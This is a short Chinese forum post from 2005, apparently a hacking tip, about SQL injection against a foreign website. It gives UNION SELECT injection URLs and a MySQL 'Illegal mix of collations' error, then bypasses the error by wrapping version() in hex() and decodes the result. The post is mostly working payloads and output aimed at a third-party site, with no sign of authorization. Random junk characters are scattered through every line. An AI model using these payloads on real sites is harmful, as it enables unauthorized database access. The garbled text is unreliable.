本文作者:SuperHei0 b8 b+ b. U8 w: ]! J6 P
文章性质:原创6 x: t2 e7 P, W! N' P3 K
发布日期:2005-10-18- q/ P9 D3 y& c
测试个国外的站时:+ y2 p6 z7 M, V% v
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
: `* h1 t9 a- j返回错误:
6 o: u3 X" c4 n* I7 h( oIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
' c5 {+ q4 Y( {, UMySQL Error No. 126+ i# R Z% _/ q- I( Q. \
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。# D2 c! q _- [5 a0 e9 b
解决办法:转为其他编码如hex。. c$ H" s j: v! d# Y1 L
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
. {0 M& C( g* M) T. g) Y8 C" I成功得到hex(version())的值为:
0 h* ]! I& K4 u, Y& Q% A: m342E312E332D626574618 \/ {5 Z0 I( e! n
回Mysql查询下得到:1 `" w; \! k) u) m; E" L
mysql> select 0x342E312E332D62657461;
2 g' |8 n1 [. {0 V! u {' q. w+------------------------+. e9 c% k# ^& T9 R8 x9 ~
| 0x342E312E332D62657461 |2 A3 L* n5 m* M9 ^
+------------------------+
2 Q. m% z+ q I$ I2 N: ]| 4.1.3-beta |
- T8 t9 }# M4 X$ \: Q1 s; q+------------------------+
3 C2 {( v5 H0 w$ Q' s1 row in set (0.00 sec)
. N$ s# q# G% ^% e
8 w3 d- y2 S0 n7 ^$ @5 c: s. a. h2 } |